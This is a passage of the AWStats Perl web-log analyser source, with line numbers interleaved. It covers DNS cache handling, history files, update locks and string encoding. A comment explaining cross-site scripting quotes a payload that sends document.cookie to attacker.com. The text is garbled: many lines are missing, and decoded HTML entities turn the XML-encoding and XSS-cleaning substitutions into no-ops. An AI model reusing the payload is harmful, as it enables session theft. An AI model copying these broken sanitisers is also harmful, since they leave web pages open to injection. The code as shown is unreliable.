# my $function="SectionWriteHistory_$pluginname(\$xml,\$xmlbb,\$xmlbs,\$xmlbe,\$xmlrb,\$xmlrs,\$xmlre,\$xmleb,\$xmlee)";
7325
# eval("$function");
7326
my $function = "SectionWriteHistory_$pluginname";
7328
$xml, $xmlbb, $xmlbs, $xmlbe, $xmlrb,
7329
$xmlrs, $xmlre, $xmleb, $xmlee
7334
%keysinkeylist = ();
7337
#--------------------------------------------------------------------
7338
# Function: Rename all tmp history file into history
7340
# Input: $DirData $PROG $FileSuffix
7341
# $KeepBackupOfHistoricFile $SaveDatabaseFilesWithPermissionsForEveryone
7343
# Return: 1 Ok, 0 at least one error (tmp files are removed)
7344
#--------------------------------------------------------------------
7345
sub Rename_All_Tmp_History {
7350
debug("Call to Rename_All_Tmp_History (FileSuffix=$FileSuffix)");
7353
opendir( DIR, "$DirData" );
7356
if ( $DatabaseBreak eq 'month' ) { $datemask = '\d\d\d\d\d\d'; }
7357
elsif ( $DatabaseBreak eq 'year' ) { $datemask = '\d\d\d\d'; }
7358
elsif ( $DatabaseBreak eq 'day' ) { $datemask = '\d\d\d\d\d\d\d\d'; }
7359
elsif ( $DatabaseBreak eq 'hour' ) { $datemask = '\d\d\d\d\d\d\d\d\d\d'; }
7362
"Scan for temp history files to rename into DirData='$DirData' with mask='$datemask'"
7366
my $regfilesuffix = quotemeta($FileSuffix);
7367
foreach ( grep /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/,
7368
file_filt sort readdir DIR )
7370
/^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/;
7371
if ($renameok) { # No rename error yet
7374
" Rename new tmp history file $PROG$1$FileSuffix.tmp.$$ into $PROG$1$FileSuffix.txt",
7378
if ( -s "$DirData/$PROG$1$FileSuffix.tmp.$$" )
7379
{ # Rename tmp files if size > 0
7380
if ($KeepBackupOfHistoricFiles) {
7381
if ( -s "$DirData/$PROG$1$FileSuffix.txt" )
7382
{ # History file already exists. We backup it
7385
" Make a backup of old history file into $PROG$1$FileSuffix.bak before",
7390
#if (FileCopy("$DirData/$PROG$1$FileSuffix.txt","$DirData/$PROG$1$FileSuffix.bak")) {
7393
"$DirData/$PROG$1$FileSuffix.txt",
7394
"$DirData/$PROG$1$FileSuffix.bak"
7399
"Warning: Failed to make a backup of \"$DirData/$PROG$1$FileSuffix.txt\" into \"$DirData/$PROG$1$FileSuffix.bak\"."
7402
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7403
chmod 0666, "$DirData/$PROG$1$FileSuffix.bak";
7408
debug( " No need to backup old history file", 1 );
7414
"$DirData/$PROG$1$FileSuffix.tmp.$$",
7415
"$DirData/$PROG$1$FileSuffix.txt"
7420
0; # At least one error in renaming working files
7422
unlink "$DirData/$PROG$1$FileSuffix.tmp.$$";
7424
"Warning: Failed to rename \"$DirData/$PROG$1$FileSuffix.tmp.$$\" into \"$DirData/$PROG$1$FileSuffix.txt\".\nWrite permissions on \"$PROG$1$FileSuffix.txt\" might be wrong"
7426
$ENV{'GATEWAY_INTERFACE'}
7427
? " for an 'update from web'"
7430
. " or file might be opened."
7434
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7435
chmod 0666, "$DirData/$PROG$1$FileSuffix.txt";
7439
else { # Because of rename error, we remove all remaining tmp files
7440
unlink "$DirData/$PROG$1$FileSuffix.tmp.$$";
7447
#------------------------------------------------------------------------------
7448
# Function: Load DNS cache file entries into a memory hash array
7449
# Parameters: Hash array ref to load into,
7450
# File name to load,
7451
# File suffix to use
7452
# Save to a second plugin file if not up to date
7454
# Output: Hash array is loaded
7455
# Return: 1 No DNS Cache file found, 0 OK
7456
#------------------------------------------------------------------------------
7457
sub Read_DNS_Cache {
7458
my $hashtoload = shift;
7459
my $dnscachefile = shift;
7460
my $filesuffix = shift;
7461
my $savetohash = shift;
7463
my $dnscacheext = '';
7464
my $filetoload = '';
7465
my $timetoload = time();
7467
if ($Debug) { debug("Call to Read_DNS_Cache [file=\"$dnscachefile\"]"); }
7468
if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; }
7469
foreach my $dir ( "$DirData", ".", "" ) {
7470
my $searchdir = $dir;
7472
&& ( !( $searchdir =~ /\/$/ ) )
7473
&& ( !( $searchdir =~ /\\$/ ) ) )
7477
if ( -f "${searchdir}$dnscachefile$filesuffix$dnscacheext" ) {
7478
$filetoload = "${searchdir}$dnscachefile$filesuffix$dnscacheext";
7481
# Plugin call : Change filetoload
7482
if ( $PluginsLoaded{'SearchFile'}{'hashfiles'} ) {
7483
SearchFile_hashfiles(
7484
$searchdir, $dnscachefile, $filesuffix,
7485
$dnscacheext, $filetoload
7488
if ($filetoload) { last; } # We found a file to load
7491
if ( !$filetoload ) {
7492
if ($Debug) { debug(" No DNS Cache file found"); }
7496
# Plugin call : Load hashtoload
7497
if ( $PluginsLoaded{'LoadCache'}{'hashfiles'} ) {
7498
LoadCache_hashfiles( $filetoload, $hashtoload );
7500
if ( !scalar keys %$hashtoload ) {
7501
open( DNSFILE, "$filetoload" )
7502
or error("Couldn't open DNS Cache file \"$filetoload\": $!");
7504
#binmode DNSFILE; # If we set binmode here, it seems that the load is broken on ActiveState 5.8
7505
# This is a fast way to load with regexp
7507
map( /^(?:\d{0,10}\s+)?([0-9A-F:\.]+)\s+([^\s]+)$/oi, <DNSFILE> );
7511
# Plugin call : Save hash file (all records) with test if up to date to save
7512
if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) {
7513
SaveHash_hashfiles( $filetoload, $hashtoload, 1, 0 );
7520
. ( scalar keys %$hashtoload )
7521
. " items from $filetoload in "
7522
. ( time() - $timetoload )
7530
#------------------------------------------------------------------------------
7531
# Function: Save a memory hash array into a DNS cache file
7532
# Parameters: Hash array ref to save,
7533
# File name to save,
7534
# File suffix to use
7537
# Return: 0 OK, 1 Error
7538
#------------------------------------------------------------------------------
7539
sub Save_DNS_Cache_File {
7540
my $hashtosave = shift;
7541
my $dnscachefile = shift;
7542
my $filesuffix = shift;
7544
my $dnscacheext = '';
7545
my $filetosave = '';
7546
my $timetosave = time();
7547
my $nbofelemtosave = $NBOFLASTUPDATELOOKUPTOSAVE;
7548
my $nbofelemsaved = 0;
7551
debug("Call to Save_DNS_Cache_File [file=\"$dnscachefile\"]");
7553
if ( !scalar keys %$hashtosave ) {
7554
if ($Debug) { debug(" No data to save"); }
7557
if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; }
7558
$filetosave = "$dnscachefile$filesuffix$dnscacheext";
7560
# Plugin call : Save hash file (only $NBOFLASTUPDATELOOKUPTOSAVE records) with no test if up to date
7561
if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) {
7562
SaveHash_hashfiles( $filetosave, $hashtosave, 0, $nbofelemtosave,
7564
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7565
chmod 0666, "$filetosave";
7568
if ( !$nbofelemsaved ) {
7569
$filetosave = "$dnscachefile$filesuffix$dnscacheext";
7575
? "($nbofelemtosave records max)"
7578
. " into file $filetosave"
7581
if ( !open( DNSFILE, ">$filetosave" ) ) {
7583
"Warning: Failed to open for writing last update DNS Cache file \"$filetosave\": $!"
7588
my $starttimemin = int( $starttime / 60 );
7589
foreach my $key ( keys %$hashtosave ) {
7591
#if ($hashtosave->{$key} ne '*') {
7592
my $ipsolved = $hashtosave->{$key};
7593
print DNSFILE "$starttimemin\t$key\t"
7594
. ( $ipsolved eq 'ip' ? '*' : $ipsolved )
7595
. "\n"; # Change 'ip' to '*' for backward compatibility
7596
if ( ++$nbofelemsaved >= $NBOFLASTUPDATELOOKUPTOSAVE ) { last; }
7602
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7603
chmod 0666, "$filetosave";
7609
" Saved $nbofelemsaved items into $filetosave in "
7610
. ( time() - $timetosave )
7618
#------------------------------------------------------------------------------
7619
# Function: Return time elapsed since last call in miliseconds
7620
# Parameters: 0|1 (0 reset counter, 1 no reset)
7623
# Return: Number of miliseconds elapsed since last call
7624
#------------------------------------------------------------------------------
7625
sub GetDelaySinceStart {
7626
if (shift) { $StartSeconds = 0; } # Reset chrono
7627
my ( $newseconds, $newmicroseconds ) = ( time(), 0 );
7629
# Plugin call : Return seconds and milliseconds
7630
if ( $PluginsLoaded{'GetTime'}{'timehires'} ) {
7631
GetTime_timehires( $newseconds, $newmicroseconds );
7633
if ( !$StartSeconds ) {
7634
$StartSeconds = $newseconds;
7635
$StartMicroseconds = $newmicroseconds;
7637
return ( ( $newseconds - $StartSeconds ) * 1000 +
7638
int( ( $newmicroseconds - $StartMicroseconds ) / 1000 ) );
7641
#------------------------------------------------------------------------------
7642
# Function: Reset all variables whose name start with _ because a new month start
7644
# Input: $YearRequired All variables whose name start with _
7645
# Output: All variables whose name start with _
7647
#------------------------------------------------------------------------------
7648
sub Init_HashArray {
7649
if ($Debug) { debug("Call to Init_HashArray"); }
7651
# Reset global hash arrays
7652
%FirstTime = %LastTime = ();
7653
%MonthHostsKnown = %MonthHostsUnknown = ();
7654
%MonthVisits = %MonthUnique = ();
7655
%MonthPages = %MonthHits = %MonthBytes = ();
7656
%MonthNotViewedPages = %MonthNotViewedHits = %MonthNotViewedBytes = ();
7657
%DayPages = %DayHits = %DayBytes = %DayVisits = ();
7659
# Reset all arrays with name beginning by _
7660
for ( my $ix = 0 ; $ix < 6 ; $ix++ ) {
7664
for ( my $ix = 0 ; $ix < 24 ; $ix++ ) {
7668
$_time_nv_h[$ix] = 0;
7669
$_time_nv_k[$ix] = 0;
7670
$_time_nv_p[$ix] = 0;
7673
# Reset all hash arrays with name beginning by _
7674
%_session = %_browser_h = ();
7675
%_domener_p = %_domener_h = %_domener_k = %_errors_h = %_errors_k = ();
7676
%_filetypes_h = %_filetypes_k = %_filetypes_gz_in = %_filetypes_gz_out = ();
7677
%_host_p = %_host_h = %_host_k = %_host_l = %_host_s = %_host_u = ();
7678
%_waithost_e = %_waithost_l = %_waithost_s = %_waithost_u = ();
7679
%_keyphrases = %_keywords = %_os_h = %_pagesrefs_p = %_pagesrefs_h =
7680
%_robot_h = %_robot_k = %_robot_l = %_robot_r = ();
7681
%_worm_h = %_worm_k = %_worm_l = %_login_p = %_login_h = %_login_k =
7682
%_login_l = %_screensize_h = ();
7683
%_misc_p = %_misc_h = %_misc_k = ();
7684
%_cluster_p = %_cluster_h = %_cluster_k = ();
7685
%_se_referrals_p = %_se_referrals_h = %_sider404_h = %_referer404_h =
7686
%_url_p = %_url_k = %_url_e = %_url_x = ();
7688
%_unknownreferer_l = %_unknownrefererbrowser_l = ();
7689
%_emails_h = %_emails_k = %_emails_l = %_emailr_h = %_emailr_k =
7692
for ( my $ix = 1 ; $ix < @ExtraName ; $ix++ ) {
7693
%{ '_section_' . $ix . '_h' } = %{ '_section_' . $ix . '_o' } =
7694
%{ '_section_' . $ix . '_k' } = %{ '_section_' . $ix . '_l' } =
7695
%{ '_section_' . $ix . '_p' } = ();
7697
foreach my $pluginname ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } )
7700
# my $function="SectionInitHashArray_$pluginname()";
7701
# eval("$function");
7702
my $function = "SectionInitHashArray_$pluginname";
7707
#------------------------------------------------------------------------------
7708
# Function: Change word separators of a keyphrase string into space and
7709
# remove bad coded chars
7710
# Parameters: stringtodecode
7713
# Return: decodedstring
7714
#------------------------------------------------------------------------------
7715
sub ChangeWordSeparatorsIntoSpace {
7716
$_[0] =~ s/%0[ad]/ /ig; # LF CR
7717
$_[0] =~ s/%2[02789abc]/ /ig; # space " ' ( ) * + ,
7718
$_[0] =~ s/%3a/ /ig; # :
7720
tr/\+\'\(\)\"\*,:/ /s; # "&" and "=" must not be in this list
7723
#------------------------------------------------------------------------------
7724
# Function: Transforms special chars by entities as needed in XML/XHTML
7725
# Parameters: stringtoencode
7726
# Return: encodedstring
7727
#------------------------------------------------------------------------------
7729
if ( $BuildReportFormat ne 'xhtml' && $BuildReportFormat ne 'xml' ) {
7733
$string =~ s/&/&/g;
7734
$string =~ s/</</g;
7735
$string =~ s/>/>/g;
7736
$string =~ s/\"/"/g;
7737
$string =~ s/\'/'/g;
7741
#------------------------------------------------------------------------------
7742
# Function: Transforms spaces into %20 and special chars by HTML entities as needed in XML/XHTML
7743
# Decoding is done by XMLDecodeFromHisto.
7744
# AWStats data files are stored in ISO-8859-1.
7745
# Parameters: stringtoencode
7746
# Return: encodedstring
7747
#------------------------------------------------------------------------------
7748
sub XMLEncodeForHisto {
7750
$string =~ s/\s/%20/g;
7751
if ( $BuildHistoryFormat ne 'xml' ) { return $string; }
7752
$string =~ s/=/%3d/g;
7753
$string =~ s/&/&/g;
7754
$string =~ s/</</g;
7755
$string =~ s/>/>/g;
7756
$string =~ s/\"/"/g;
7757
$string =~ s/\'/'/g;
7761
#------------------------------------------------------------------------------
7762
# Function: Encode an ISO string to PageCode output
7763
# Parameters: stringtoencode
7764
# Return: encodedstring
7765
#------------------------------------------------------------------------------
7766
sub EncodeToPageCode {
7768
if ( $PageCode eq 'utf-8' ) { $string = encode( "utf8", $string ); }
7772
#------------------------------------------------------------------------------
7773
# Function: Encode a binary string into an ASCII string
7774
# Parameters: stringtoencode
7775
# Return: encodedstring
7776
#------------------------------------------------------------------------------
7781
$string =~ s/([\x2B\x80-\xFF])/sprintf ("%%%2x", ord($1))/eg;
7784
$string =~ tr/ /+/s;
7788
#------------------------------------------------------------------------------
7789
# Function: Decode an url encoded text string into a binary string
7790
# Parameters: stringtodecode
7793
# Return: decodedstring
7794
#------------------------------------------------------------------------------
7795
sub DecodeEncodedString {
7796
my $stringtodecode = shift;
7797
$stringtodecode =~ tr/\+/ /s;
7798
$stringtodecode =~ s/%([A-F0-9][A-F0-9])/pack("C", hex($1))/ieg;
7799
$stringtodecode =~ s/["']//g;
7801
return $stringtodecode;
7804
#------------------------------------------------------------------------------
7805
# Function: Decode an precompiled regex value to a common regex value
7806
# Parameters: compiledregextodecode
7809
# Return: standardregex
7810
#------------------------------------------------------------------------------
7811
sub UnCompileRegex {
7812
shift =~ /\(\?[-\w]*:(.*)\)/;
7816
#------------------------------------------------------------------------------
7817
# Function: Clean a string of all chars that are not char or _ - \ / . \s
7818
# Parameters: stringtoclean, full
7821
# Return: cleanedstring
7822
#------------------------------------------------------------------------------
7824
my $stringtoclean = shift;
7825
my $full = shift || 0;
7827
$stringtoclean =~ s/[^\w\d]//g;
7830
$stringtoclean =~ s/[^\w\d\-\\\/\.:\s]//g;
7832
return $stringtoclean;
7835
#------------------------------------------------------------------------------
7836
# Function: Clean a string of HTML tags to avoid 'Cross Site Scripting attacks'
7838
# A XSS attack is providing an AWStats url with XSS code that is executed
7839
# when page loaded by awstats CGI is loaded from AWStats server. Such a code
7840
# can be<script>document.write("<img src=http://attacker.com/page.php?" + document.cookie)</script>
7841
# This make the browser sending a request to the attacker server that contains
7842
# cookie used for AWStats server sessions. Attacker can this way caught this
7843
# cookie and used it to go on AWStats server like original visitor. For this
7844
# resaon, parameter received by AWStats must be sanitized by this function
7845
# before beeing put inside a web page.
7846
# Parameters: stringtoclean
7849
# Return: cleanedstring
7850
#------------------------------------------------------------------------------
7852
my $stringtoclean = shift;
7854
# To avoid html tags and javascript
7855
$stringtoclean =~ s/</</g;
7856
$stringtoclean =~ s/>/>/g;
7857
$stringtoclean =~ s/|//g;
7860
$stringtoclean =~ s/onload//g;
7861
return $stringtoclean;
7864
#------------------------------------------------------------------------------
7865
# Function: Clean tags in a string
7866
# AWStats data files are stored in ISO-8859-1.
7867
# Parameters: stringtodecode
7870
# Return: decodedstring
7871
#------------------------------------------------------------------------------
7872
sub XMLDecodeFromHisto {
7873
my $stringtoclean = shift;
7874
$stringtoclean =~ s/$regclean1/ /g; # Replace <recnb> or </td> with space
7875
$stringtoclean =~ s/$regclean2//g; # Remove others <xxx>
7876
$stringtoclean =~ s/%3d/=/g;
7877
$stringtoclean =~ s/&/&/g;
7878
$stringtoclean =~ s/</</g;
7879
$stringtoclean =~ s/>/>/g;
7880
$stringtoclean =~ s/"/\"/g;
7881
$stringtoclean =~ s/'/\'/g;
7882
return $stringtoclean;
7885
#------------------------------------------------------------------------------
7886
# Function: Copy one file into another
7887
# Parameters: sourcefilename targetfilename
7890
# Return: 0 if copy is ok, 1 else
7891
#------------------------------------------------------------------------------
7893
my $filesource = shift;
7894
my $filetarget = shift;
7895
if ($Debug) { debug( "FileCopy($filesource,$filetarget)", 1 ); }
7896
open( FILESOURCE, "$filesource" ) || return 1;
7897
open( FILETARGET, ">$filetarget" ) || return 1;
7904
if ($Debug) { debug( " File copied", 1 ); }
7908
#------------------------------------------------------------------------------
7909
# Function: Format a QUERY_STRING
7913
# Return: formated query
7914
#------------------------------------------------------------------------------
7915
# TODO Appeller cette fonction partout ou il y a des NewLinkParams
7916
sub CleanNewLinkParamsFrom {
7917
my $NewLinkParams = shift;
7918
while ( my $param = shift ) {
7919
$NewLinkParams =~ s/(^|&|&)$param(=[^&]*|$)//i;
7921
$NewLinkParams =~ s/(&|&)+/&/i;
7922
$NewLinkParams =~ s/^&//;
7923
$NewLinkParams =~ s/&$//;
7924
return $NewLinkParams;
7927
#------------------------------------------------------------------------------
7928
# Function: Show flags for other language translations
7929
# Parameters: Current languade id (en, fr, ...)
7933
#------------------------------------------------------------------------------
7934
sub Show_Flag_Links {
7935
my $CurrentLang = shift;
7938
my $NewLinkParams = $QueryString;
7939
my $NewLinkTarget = '';
7940
if ( $ENV{'GATEWAY_INTERFACE'} ) {
7942
CleanNewLinkParamsFrom( $NewLinkParams,
7943
( 'update', 'staticlinks', 'framename', 'lang' ) );
7944
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
7945
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
7946
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
7947
$NewLinkParams =~ s/(^|&|&)lang=[^&]*//i;
7948
$NewLinkParams =~ s/(&|&)+/&/i;
7949
$NewLinkParams =~ s/^&//;
7950
$NewLinkParams =~ s/&$//;
7951
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
7953
if ( $FrameName eq 'mainright' ) {
7954
$NewLinkTarget = " target=\"_parent\"";
7959
( $SiteConfig ? "config=$SiteConfig&" : "" )
7960
. "year=$YearRequired&month=$MonthRequired&";
7962
if ( $NewLinkParams !~ /output=/ ) { $NewLinkParams .= 'output=main&'; }
7963
if ( $FrameName eq 'mainright' ) {
7964
$NewLinkParams .= 'framename=index&';
7967
foreach my $lng ( split( /\s+/, $ShowFlagLinks ) ) {
7969
$LangBrowserToLangAwstats{$lng}
7970
? $LangBrowserToLangAwstats{$lng}
7972
if ( $lng ne $CurrentLang ) {
7974
'en', 'English', 'fr', 'French', 'de', 'German',
7975
'it', 'Italian', 'nl', 'Dutch', 'es', 'Spanish'
7977
my $lngtitle = ( $lngtitle{$lng} ? $lngtitle{$lng} : $lng );
7979
$LangAWStatsToFlagAwstats{$lng}
7980
? $LangAWStatsToFlagAwstats{$lng}
7984
. XMLEncode("$AWScript${NewLinkParams}lang=$lng")
7985
. "\"$NewLinkTarget><img src=\"$DirIcons\/flags\/$flag.png\" height=\"14\" border=\"0\""
7986
. AltTitle("$lngtitle")
7987
. " /></a> \n";
7992
#------------------------------------------------------------------------------
7993
# Function: Format value in bytes in a string (Bytes, Kb, Mb, Gb)
7994
# Parameters: bytes (integer value or "0.00")
7997
# Return: "x.yz MB" or "x.yy KB" or "x Bytes" or "0"
7998
#------------------------------------------------------------------------------
8000
my $bytes = shift || 0;
8003
# Do not use exp/log function to calculate 1024power, function make segfault on some unix/perl versions
8004
if ( $bytes >= ( $fudge << 30 ) ) {
8005
return sprintf( "%.2f", $bytes / 1073741824 ) . " $Message[110]";
8007
if ( $bytes >= ( $fudge << 20 ) ) {
8008
return sprintf( "%.2f", $bytes / 1048576 ) . " $Message[109]";
8010
if ( $bytes >= ( $fudge << 10 ) ) {
8011
return sprintf( "%.2f", $bytes / 1024 ) . " $Message[108]";
8013
if ( $bytes < 0 ) { $bytes = "?"; }
8014
return int($bytes) . ( int($bytes) ? " $Message[119]" : "" );
8017
#------------------------------------------------------------------------------
8018
# Function: Format a number with commas or any other separator
8019
# CL: courtesy of http://www.perlmonks.org/?node_id=2145
8020
# Parameters: number
8023
# Return: "999,999,999,999"
8024
#------------------------------------------------------------------------------
8026
my $number = shift || 0;
8027
$number =~ s/(\d)(\d\d\d)$/$1 $2/;
8028
$number =~ s/(\d)(\d\d\d\s\d\d\d)$/$1 $2/;
8029
$number =~ s/(\d)(\d\d\d\s\d\d\d\s\d\d\d)$/$1 $2/;
8030
my $separator = $Message[177];
8031
if ($separator eq '') { $separator=' '; } # For backward compatibility
8032
$number =~ s/ /$separator/g;
8036
#------------------------------------------------------------------------------
8037
# Function: Return " alt=string title=string"
8038
# Parameters: string
8041
# Return: "alt=string title=string"
8042
#------------------------------------------------------------------------------
8044
my $string = shift || '';
8045
return " alt='$string' title='$string'";
8047
# return " alt=\"$string\" title=\"$string\"";
8048
# return ($BuildReportFormat?"":" alt=\"$string\"")." title=\"$string\"";
8051
#------------------------------------------------------------------------------
8052
# Function: Tell if an email is a local or external email
8054
# Input: $SiteDomain(exact string) $HostAliases(quoted regex string)
8056
# Return: -1, 0 or 1
8057
#------------------------------------------------------------------------------
8059
my $email = shift || 'unknown';
8060
if ( $email !~ /\@(.*)$/ ) { return 0; }
8062
if ( $domain =~ /^$SiteDomain$/i ) { return 1; }
8063
foreach (@HostAliases) {
8064
if ( $domain =~ /$_/ ) { return 1; }
8069
#------------------------------------------------------------------------------
8070
# Function: Format a date according to Message[78] (country date format)
8071
# Parameters: String date YYYYMMDDHHMMSS
8072
# Option 0=LastUpdate and LastTime date
8073
# 1=Arrays date except daymonthvalues
8074
# 2=daymonthvalues date (only year month and day)
8075
# Input: $Message[78]
8077
# Return: Date with format defined by Message[78] and option
8078
#------------------------------------------------------------------------------
8081
my $option = shift || 0;
8082
my $year = substr( "$date", 0, 4 );
8083
my $month = substr( "$date", 4, 2 );
8084
my $day = substr( "$date", 6, 2 );
8085
my $hour = substr( "$date", 8, 2 );
8086
my $min = substr( "$date", 10, 2 );
8087
my $sec = substr( "$date", 12, 2 );
8088
my $dateformat = $Message[78];
8090
if ( $option == 2 ) {
8091
$dateformat =~ s/^[^ymd]+//g;
8092
$dateformat =~ s/[^ymd]+$//g;
8094
$dateformat =~ s/yyyy/$year/g;
8095
$dateformat =~ s/yy/$year/g;
8096
$dateformat =~ s/mmm/$MonthNumLib{$month}/g;
8097
$dateformat =~ s/mm/$month/g;
8098
$dateformat =~ s/dd/$day/g;
8099
$dateformat =~ s/HH/$hour/g;
8100
$dateformat =~ s/MM/$min/g;
8101
$dateformat =~ s/SS/$sec/g;
8102
return "$dateformat";
8105
#------------------------------------------------------------------------------
8106
# Function: Return 1 if string contains only ascii chars
8107
# Parameters: string
8111
#------------------------------------------------------------------------------
8114
if ($Debug) { debug( "IsAscii($string)", 5 ); }
8115
if ( $string =~ /^[\w\+\-\/\\\.%,;:=\"\'&?!\s]+$/ ) {
8116
if ($Debug) { debug( " Yes", 6 ); }
8119
; # Only alphanum chars (and _) or + - / \ . % , ; : = " ' & ? space \t
8121
if ($Debug) { debug( " No", 6 ); }
8125
#------------------------------------------------------------------------------
8126
# Function: Return the lower value between 2 but exclude value if 0
8127
# Parameters: Val1 and Val2
8130
# Return: min(Val1,Val2)
8131
#------------------------------------------------------------------------------
8132
sub MinimumButNoZero {
8133
my ( $val1, $val2 ) = @_;
8134
return ( $val1 && ( $val1 < $val2 || !$val2 ) ? $val1 : $val2 );
8137
#------------------------------------------------------------------------------
8138
# Function: Add a val from sorting tree
8139
# Parameters: keytoadd keyval [firstadd]
8143
#------------------------------------------------------------------------------
8145
my $keytoadd = shift;
8147
my $firstadd = shift || 0;
8148
if ( $firstadd == 1 ) { # Val is the first one
8149
if ($Debug) { debug( " firstadd", 4 ); }
8150
$val{$keyval} = $keytoadd;
8151
$lowerval = $keyval;
8154
" lowerval=$lowerval, nb elem val="
8155
. ( scalar keys %val )
8157
. ( scalar keys %egal ) . ".",
8163
if ( $val{$keyval} ) { # Val is already in tree
8164
if ($Debug) { debug( " val is already in tree", 4 ); }
8165
$egal{$keytoadd} = $val{$keyval};
8166
$val{$keyval} = $keytoadd;
8169
" lowerval=$lowerval, nb elem val="
8170
. ( scalar keys %val )
8172
. ( scalar keys %egal ) . ".",
8178
if ( $keyval <= $lowerval )
8179
{ # Val is a new one lower (should happens only when tree is not full)
8182
" keytoadd val=$keyval is lower or equal to lowerval=$lowerval",
8186
$val{$keyval} = $keytoadd;
8187
$nextval{$keyval} = $lowerval;
8188
$lowerval = $keyval;
8191
" lowerval=$lowerval, nb elem val="
8192
. ( scalar keys %val )
8194
. ( scalar keys %egal ) . ".",
8201
# Val is a new one higher
8203
debug( " keytoadd val=$keyval is higher than lowerval=$lowerval", 4 );
8205
$val{$keyval} = $keytoadd;
8206
my $valcursor = $lowerval; # valcursor is value just before keyval
8207
while ( $nextval{$valcursor} && ( $nextval{$valcursor} < $keyval ) ) {
8208
$valcursor = $nextval{$valcursor};
8210
if ( $nextval{$valcursor} )
8211
{ # keyval is between valcursor and nextval{valcursor}
8212
$nextval{$keyval} = $nextval{$valcursor};
8214
$nextval{$valcursor} = $keyval;
8217
" lowerval=$lowerval, nb elem val="
8218
. ( scalar keys %val )
8220
. ( scalar keys %egal ) . ".",
8226
#------------------------------------------------------------------------------
8227
# Function: Remove a val from sorting tree
8229
# Input: $lowerval %val %egal
8232
#------------------------------------------------------------------------------
8233
sub Removelowerval {
8234
my $keytoremove = $val{$lowerval}; # This is lower key
8236
debug( " remove for lowerval=$lowerval: key=$keytoremove", 4 );
8238
if ( $egal{$keytoremove} ) {
8239
$val{$lowerval} = $egal{$keytoremove};
8240
delete $egal{$keytoremove};
8243
delete $val{$lowerval};
8244
$lowerval = $nextval{$lowerval}; # Set new lowerval
8248
" new lower value=$lowerval, val size="
8249
. ( scalar keys %val )
8251
. ( scalar keys %egal ),
8257
#------------------------------------------------------------------------------
8258
# Function: Build @keylist array
8259
# Parameters: Size max for @keylist array,
8260
# Min value in hash for select,
8261
# Hash used for select,
8262
# Hash used for order
8265
# Return: @keylist response array
8266
#------------------------------------------------------------------------------
8268
my $ArraySize = shift || error(
8269
"System error. Call to BuildKeyList function with incorrect value for first param",
8272
my $MinValue = shift || error(
8273
"System error. Call to BuildKeyList function with incorrect value for second param",
8276
my $hashforselect = shift;
8277
my $hashfororder = shift;
8280
" BuildKeyList($ArraySize,$MinValue,$hashforselect with size="
8281
. ( scalar keys %$hashforselect )
8282
. ",$hashfororder with size="
8283
. ( scalar keys %$hashfororder ) . ")",
8287
delete $hashforselect->{0};
8288
delete $hashforselect->{ ''
8289
}; # Those is to protect from infinite loop when hash array has an incorrect null key
8291
$lowerval = 0; # Global because used in AddInTree and Removelowerval
8296
foreach my $key ( keys %$hashforselect ) {
8297
if ( $count < $ArraySize ) {
8298
if ( $hashforselect->{$key} >= $MinValue ) {
8302
" Add in tree entry $count : $key (value="
8303
. ( $hashfororder->{$key} || 0 )
8304
. ", tree not full)",
8308
AddInTree( $key, $hashfororder->{$key} || 0, $count );
8313
if ( ( $hashfororder->{$key} || 0 ) <= $lowerval ) { next; }
8316
" Add in tree entry $count : $key (value="
8317
. ( $hashfororder->{$key} || 0 )
8318
. " > lowerval=$lowerval)",
8322
AddInTree( $key, $hashfororder->{$key} || 0 );
8323
if ($Debug) { debug( " Removelower in tree", 4 ); }
8327
# Build key list and sort it
8330
" Build key list and sort it. lowerval=$lowerval, nb elem val="
8331
. ( scalar keys %val )
8333
. ( scalar keys %egal ) . ".",
8337
my %notsortedkeylist = ();
8338
foreach my $key ( values %val ) { $notsortedkeylist{$key} = 1; }
8339
foreach my $key ( values %egal ) { $notsortedkeylist{$key} = 1; }
8342
sort { ( $hashfororder->{$b} || 0 ) <=> ( $hashfororder->{$a} || 0 ) }
8343
keys %notsortedkeylist
8346
debug( " BuildKeyList End (keylist size=" . (@keylist) . ")", 3 );
8351
#------------------------------------------------------------------------------
8352
# Function: Lock or unlock update
8353
# Parameters: status (1 to lock, 0 to unlock)
8354
# Input: $DirLock (if status=0) $PROG $FileSuffix
8355
# Output: $DirLock (if status=1)
8357
#------------------------------------------------------------------------------
8360
my $lock = "$PROG$FileSuffix.lock";
8363
# We stop if there is at least one lock file wherever it is
8364
foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) {
8366
$newkey =~ s/[\\\/]$//;
8367
if ( -f "$newkey/$lock" ) {
8369
"An AWStats update process seems to be already running for this config file. Try later.\nIf this is not true, remove manually lock file '$newkey/$lock'.",
8375
# Set lock where we can
8376
foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) {
8377
if ( !-d "$key" ) { next; }
8379
$DirLock =~ s/[\\\/]$//;
8380
if ($Debug) { debug("Update lock file $DirLock/$lock is set"); }
8381
open( LOCK, ">$DirLock/$lock" )
8382
|| error( "Failed to create lock file $DirLock/$lock", "", "",
8385
"AWStats update started by process $$ at $nowyear-$nowmonth-$nowday $nowhour:$nowmin:$nowsec\n";
8393
if ($Debug) { debug("Update lock file $DirLock/$lock is removed"); }
8394
unlink("$DirLock/$lock");
8399
#------------------------------------------------------------------------------
8400
# Function: Signal handler to call Lock_Update to remove lock file
8401
# Parameters: Signal name
8405
#------------------------------------------------------------------------------
8407
my $signame = shift;
8408
print ucfirst($PROG) . " process (ID $$) interrupted by signal $signame.\n";
8413
#------------------------------------------------------------------------------
8414
# Function: Convert an IPAddress into an integer
8415
# Parameters: IPAddress
8419
#------------------------------------------------------------------------------
8420
